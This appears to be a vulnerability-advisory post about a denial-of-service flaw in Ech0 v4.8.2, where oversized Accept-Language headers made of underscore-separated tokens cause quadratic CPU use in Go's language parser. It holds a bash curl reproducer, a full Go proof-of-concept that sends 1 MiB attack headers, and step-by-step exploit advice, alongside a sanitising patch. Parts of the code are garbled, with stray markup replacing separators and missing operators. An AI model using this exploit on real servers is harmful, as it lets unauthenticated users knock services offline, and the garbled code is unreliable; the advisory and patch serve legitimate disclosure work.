Listen to this Post
Ech0’s i18n middleware runs on every HTTP request and constructs a fresh goi18n.Localizer from the raw Accept-Language header without imposing any size or shape filter【0†L1-L4】. The middleware calls goi18n.NewLocalizer, which internally invokes `golang.org/x/text/language.ParseAcceptLanguage` on the header value【0†L7-L10】. The underlying parser has quadratic-time behaviour on long lists of malformed language tags【0†L4-L6】. CVE-2022-32149 added a guard in `golang.org/x/text` v0.3.8 that caps the number of ‘-‘ characters in the input at 1000【0†L45-L48】. However, the guard does not count ‘‘ characters, even though the parser’s internal scanner aliases ‘‘ to ‘-‘ before parsing【0†L48-L51】. A single unauthenticated GET request with an Accept-Language header built out of ‘_’ separators burns about 1.5 seconds of server CPU on the host running Ech0【0†L12-L15】. Ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth【0†L12-L15】. The vulnerable code resides in `internal/i18n/i18n.go` at lines 202-213, where `Middleware()` calls `setLocaleContext` with the unfiltered header【0†L30-L35】. `setLocaleContext` then calls NewLocalizer(normalized, acceptLanguage), which is a thin wrapper around goi18n.NewLocalizer【0†L37-L42】. `goi18n.NewLocalizer` calls `language.ParseAcceptLanguage(lang)` for every passed string in its `parseTags` helper【0†L42-L44】. The `ctx.GetHeader(“Accept-Language”)` returns the full attacker-supplied header value, and Go’s default `net/http MaxHeaderBytes` is 1 MiB【0†L44-L46】. The additional `ResolveLocale` path at line 208 also calls `language.ParseAcceptLanguage` directly when `X-Locale` or the `lang` query parameter is set, with the same vector and a longer-running effect【0†L46-L48】. A 1 MiB header full of 9-character `_abcdefghi` tokens contains zero ‘-‘ characters, passes the guard, and then drives the scanner into the O(N²) `gobble` path【0†L48-L52】. Each 9-character token fails the scanner’s `len <= 8` tag-length check and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer【0†L69-L72】. With N invalid tokens the total bytes moved by `gobble` is O(N²)【0†L71-L72】.
DailyCVE Form:
Platform: Ech0
Version: v4.8.2
Vulnerability: DoS
Severity: High
date: 2026-07-15
Prediction: 2026-07-22
What Undercode Say:
Single-line bash reproducer
docker run -d --name ech0 --rm -p 18300:6277 ghcr.io/lin-snow/ech0:latest
sleep 5
PAYLOAD="en$(python3 -c 'print("<em>abcdefghi" 100000, end="")')"
echo "header size = ${PAYLOAD} bytes"
curl -sS -o /dev/null \
-w 'http=%{http_code} t=%{time_total}\n' \
-H "Accept-Language: ${PAYLOAD}" \
http://127.0.0.1:18300/
// poc.go - End-to-end reproduction
package main
import (
"fmt"
"io"
"net"
"net/http"
"strings"
"time"
)
const targetURL = "http://127.0.0.1:18300/"
func buildPayload(sep string, targetBytes int) string {
const tok = "abcdefghi"
var b strings.Builder
b.Grow(targetBytes + 16)
b.WriteString("en")
for b.Len()+1+len(tok) <= targetBytes {
b.WriteString(sep)
b.WriteString(tok)
}
return b.String()
}
func send(label, header string) {
client := &http.Client{
Timeout: 60 time.Second,
Transport: &http.Transport{
DisableKeepAlives: true,
DialContext: (&net.Dialer{Timeout: 5 time.Second}).DialContext,
},
}
req, _ := http.NewRequest("GET", targetURL, nil)
if header != "" {
req.Header.Set("Accept-Language", header)
}
t0 := time.Now()
resp, err := client.Do(req)
dt := time.Since(t0)
if err != nil {
fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err)
return
}
_, _ = io.Copy(io.Discard, resp.Body)
resp.Body.Close()
fmt.Printf(" %-32s header=%d B '</em>'=%d '-'=%d status=%d t=%v\n",
label, len(header),
strings.Count(header, "<em>"), strings.Count(header, "-"),
resp.StatusCode, dt)
}
func main() {
send("warm-up", "")
send("baseline (no header)", "")
send("baseline (1 short tag)", "en-US")
send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))
send("attack ('</em>' x 1MiB)", buildPayload("<em>", 1<<20))
send("attack repeat 2", buildPayload("</em>", 1<<20))
send("attack repeat 3", buildPayload("_", 1<<20))
}
Exploit:
– Send a GET request with a 1 MiB `Accept-Language` header composed of `_abcdefghi` tokens (e.g., en_abcdefghi_abcdefghi_...).
– Optionally add `X-Locale: en` or `?lang=en` to trigger the `ResolveLocale` path, doubling the CPU burn to ~7.9 seconds per request【0†L87-L91】.
– The attack returns HTTP 200 OK, making it invisible in 4xx/5xx dashboards【0†L98-L100】.
– Ten concurrent attackers using ~10 MiB/s upstream bandwidth can pin a 10-core Ech0 instance indefinitely【0†L96-L98】.
Protection:
- Apply a size/character-class filter at the i18n middleware boundary before the header reaches
setLocaleContext【0†L106-L108】. - Count both ‘_’ and ‘-‘ separators and drop the header when the total exceeds a small ceiling (e.g., 32)【0†L109-L113】.
- Real browser `Accept-Language` headers contain under 10 separators, so a ceiling of 32 leaves ample headroom【0†L120-L122】.
- Apply the same sanitization wherever `Accept-Language` is consumed (e.g., `HeaderLocale` and `user.go` paths)【0†L118-L120】.
// internal/i18n/i18n.go const maxAcceptLanguageSeparators = 32 // real browsers send < 10 func sanitizeAcceptLanguage(v string) string { if strings.Count(v, "-")+strings.Count(v, "_") > maxAcceptLanguageSeparators { return "" } return v } func Middleware() gin.HandlerFunc { return func(ctx gin.Context) { explicit := explicitLocaleFromRequest(ctx) acceptLanguage := sanitizeAcceptLanguage(strings.TrimSpace(ctx.GetHeader("Accept-Language"))) locale := systemDefaultLocale() if explicit != "" { locale = ResolveLocale(explicit, acceptLanguage) } setLocaleContext(ctx, locale, acceptLanguage) ctx.Next() } }
Impact:
- One unauthenticated client can pin one CPU core for ~1.5 seconds per 1 MiB request【0†L96-L97】.
- Adding `X-Locale: en` increases the CPU burn to ~7.9 seconds per request【0†L87-L91】.
- The attack amplifies server CPU consumption by ~70x in the default case (21 ms guard-fires vs 1.5 s attack) and ~370x with
X-Locale【0†L93-L95】. - Self-hosted Ech0 instances exposed to the public internet are vulnerable【0†L100】.
- The underlying issue exists in
golang.org/x/text/language; a future upstream fix is needed, but the middleware filter provides defensive-in-depth【0†L122-L125】.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

